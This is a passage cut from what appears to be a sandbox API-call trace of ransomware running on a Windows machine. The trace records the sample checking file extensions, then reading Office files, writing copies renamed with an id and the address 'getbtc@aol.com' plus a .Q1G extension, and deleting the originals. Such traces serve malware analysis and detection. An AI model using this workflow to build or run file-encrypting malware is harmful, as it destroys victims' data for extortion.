(lpString1=".pdf", lpString2=".MMW") returned 1 [0247.332] lstrlenW (lpString=".xls") returned 4 [0247.332] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0247.332] lstrlenW (lpString=".xlsx") returned 5 [0247.332] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0247.332] lstrlenW (lpString=".ppt") returned 4 [0247.332] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0247.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.332] lstrlenW (lpString=".zip") returned 4 [0247.332] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0247.333] lstrlenW (lpString=".rar") returned 4 [0247.333] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0247.333] lstrlenW (lpString=".bz2") returned 4 [0247.333] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0247.333] lstrlenW (lpString=".7z") returned 3 [0247.333] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0247.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.333] lstrlenW (lpString=".dbf") returned 4 [0247.333] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0247.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.333] lstrlenW (lpString=".1cd") returned 4 [0247.333] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0247.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0247.333] lstrlenW (lpString=".jpg") returned 4 [0247.333] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0247.333] lstrcmpiW (lpString1=".HLP", lpString2=".Q1G") returned -1 [0247.333] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0247.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.347] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=343520) returned 1 [0247.347] CloseHandle (hObject=0x3bc) returned 1 [0247.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20 [0247.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.422] lstrlenW (lpString=".doc") returned 4 [0247.422] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0247.422] lstrlenW (lpString=".docx") returned 5 [0247.422] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0247.422] lstrlenW (lpString=".pdf") returned 4 [0247.422] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0247.422] lstrlenW (lpString=".xls") returned 4 [0247.422] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0247.422] lstrlenW (lpString=".xlsx") returned 5 [0247.422] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0247.422] lstrlenW (lpString=".ppt") returned 4 [0247.422] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0247.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.422] lstrlenW (lpString=".zip") returned 4 [0247.422] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0247.422] lstrlenW (lpString=".rar") returned 4 [0247.422] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0247.422] lstrlenW (lpString=".bz2") returned 4 [0247.422] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0247.423] lstrlenW (lpString=".7z") returned 3 [0247.423] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString=".dbf") returned 4 [0247.423] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString=".1cd") returned 4 [0247.423] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString=".jpg") returned 4 [0247.423] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString=".doc") returned 4 [0247.423] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0247.423] lstrlenW (lpString=".docx") returned 5 [0247.423] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0247.423] lstrlenW (lpString=".pdf") returned 4 [0247.423] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0247.423] lstrlenW (lpString=".xls") returned 4 [0247.423] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0247.423] lstrlenW (lpString=".xlsx") returned 5 [0247.423] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0247.423] lstrlenW (lpString=".ppt") returned 4 [0247.423] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString=".zip") returned 4 [0247.423] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0247.423] lstrlenW (lpString=".rar") returned 4 [0247.423] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0247.423] lstrlenW (lpString=".bz2") returned 4 [0247.423] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0247.423] lstrlenW (lpString=".7z") returned 3 [0247.423] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0247.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.423] lstrlenW (lpString=".dbf") returned 4 [0247.423] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0247.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.424] lstrlenW (lpString=".1cd") returned 4 [0247.424] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0247.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0247.424] lstrlenW (lpString=".jpg") returned 4 [0247.424] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0247.424] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0247.424] lstrlenW (lpString="ASSET.VRD") returned 9 [0247.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.424] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1694) returned 1 [0247.424] CloseHandle (hObject=0x3ac) returned 1 [0247.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0247.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.425] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.425] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.425] GetLastError () returned 0x0 [0247.425] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x69e, lpOverlapped=0x0) returned 1 [0247.427] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0247.427] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.427] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0247.428] SetEndOfFile (hFile=0x3bc) returned 1 [0247.428] CloseHandle (hObject=0x3bc) returned 1 [0247.428] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.428] SetEndOfFile (hFile=0x3ac) returned 1 [0247.430] CloseHandle (hObject=0x3ac) returned 1 [0247.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.431] lstrlenW (lpString=".doc") returned 4 [0247.431] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString=".docx") returned 5 [0247.431] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0247.431] lstrlenW (lpString=".pdf") returned 4 [0247.431] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString=".xls") returned 4 [0247.431] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0247.431] lstrlenW (lpString=".xlsx") returned 5 [0247.431] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0247.431] lstrlenW (lpString=".ppt") returned 4 [0247.431] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.431] lstrlenW (lpString=".zip") returned 4 [0247.431] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0247.431] lstrlenW (lpString=".rar") returned 4 [0247.431] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString=".bz2") returned 4 [0247.431] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString=".7z") returned 3 [0247.431] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.431] lstrlenW (lpString=".dbf") returned 4 [0247.431] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.431] lstrlenW (lpString=".1cd") returned 4 [0247.431] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.431] lstrlenW (lpString=".jpg") returned 4 [0247.431] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0247.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.432] lstrlenW (lpString=".doc") returned 4 [0247.432] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString=".docx") returned 5 [0247.432] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0247.432] lstrlenW (lpString=".pdf") returned 4 [0247.432] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString=".xls") returned 4 [0247.432] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0247.432] lstrlenW (lpString=".xlsx") returned 5 [0247.432] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0247.432] lstrlenW (lpString=".ppt") returned 4 [0247.432] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.432] lstrlenW (lpString=".zip") returned 4 [0247.432] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0247.432] lstrlenW (lpString=".rar") returned 4 [0247.432] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString=".bz2") returned 4 [0247.432] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString=".7z") returned 3 [0247.432] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0247.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.432] lstrlenW (lpString=".dbf") returned 4 [0247.432] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.432] lstrlenW (lpString=".1cd") returned 4 [0247.432] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0247.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0247.432] lstrlenW (lpString=".jpg") returned 4 [0247.432] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0247.432] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0247.432] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0247.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.433] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=24960) returned 1 [0247.433] CloseHandle (hObject=0x3ac) returned 1 [0247.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20 [0247.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.434] lstrlenW (lpString=".doc") returned 4 [0247.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0247.434] lstrlenW (lpString=".docx") returned 5 [0247.434] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0247.434] lstrlenW (lpString=".pdf") returned 4 [0247.434] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0247.434] lstrlenW (lpString=".xls") returned 4 [0247.434] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0247.434] lstrlenW (lpString=".xlsx") returned 5 [0247.434] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0247.434] lstrlenW (lpString=".ppt") returned 4 [0247.434] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0247.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.434] lstrlenW (lpString=".zip") returned 4 [0247.434] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0247.434] lstrlenW (lpString=".rar") returned 4 [0247.434] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0247.434] lstrlenW (lpString=".bz2") returned 4 [0247.434] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0247.434] lstrlenW (lpString=".7z") returned 3 [0247.434] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0247.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.434] lstrlenW (lpString=".dbf") returned 4 [0247.434] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString=".1cd") returned 4 [0247.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString=".jpg") returned 4 [0247.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString=".doc") returned 4 [0247.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString=".docx") returned 5 [0247.435] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0247.435] lstrlenW (lpString=".pdf") returned 4 [0247.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString=".xls") returned 4 [0247.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString=".xlsx") returned 5 [0247.435] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0247.435] lstrlenW (lpString=".ppt") returned 4 [0247.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString=".zip") returned 4 [0247.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString=".rar") returned 4 [0247.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0247.435] lstrlenW (lpString=".bz2") returned 4 [0247.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0247.435] lstrlenW (lpString=".7z") returned 3 [0247.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString=".dbf") returned 4 [0247.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.435] lstrlenW (lpString=".1cd") returned 4 [0247.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0247.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0247.436] lstrlenW (lpString=".jpg") returned 4 [0247.436] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0247.436] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.436] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0247.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.436] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=10104) returned 1 [0247.436] CloseHandle (hObject=0x3ac) returned 1 [0247.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20 [0247.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.437] lstrlenW (lpString=".doc") returned 4 [0247.437] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.437] lstrlenW (lpString=".docx") returned 5 [0247.437] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0247.437] lstrlenW (lpString=".pdf") returned 4 [0247.437] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.437] lstrlenW (lpString=".xls") returned 4 [0247.437] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.437] lstrlenW (lpString=".xlsx") returned 5 [0247.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0247.437] lstrlenW (lpString=".ppt") returned 4 [0247.437] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.437] lstrlenW (lpString=".zip") returned 4 [0247.437] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.437] lstrlenW (lpString=".rar") returned 4 [0247.437] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.437] lstrlenW (lpString=".bz2") returned 4 [0247.437] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.437] lstrlenW (lpString=".7z") returned 3 [0247.437] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.437] lstrlenW (lpString=".dbf") returned 4 [0247.437] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.437] lstrlenW (lpString=".1cd") returned 4 [0247.437] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.437] lstrlenW (lpString=".jpg") returned 4 [0247.438] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.438] lstrlenW (lpString=".doc") returned 4 [0247.438] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString=".docx") returned 5 [0247.438] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0247.438] lstrlenW (lpString=".pdf") returned 4 [0247.438] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString=".xls") returned 4 [0247.438] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString=".xlsx") returned 5 [0247.438] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0247.438] lstrlenW (lpString=".ppt") returned 4 [0247.438] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.438] lstrlenW (lpString=".zip") returned 4 [0247.438] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString=".rar") returned 4 [0247.438] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.438] lstrlenW (lpString=".bz2") returned 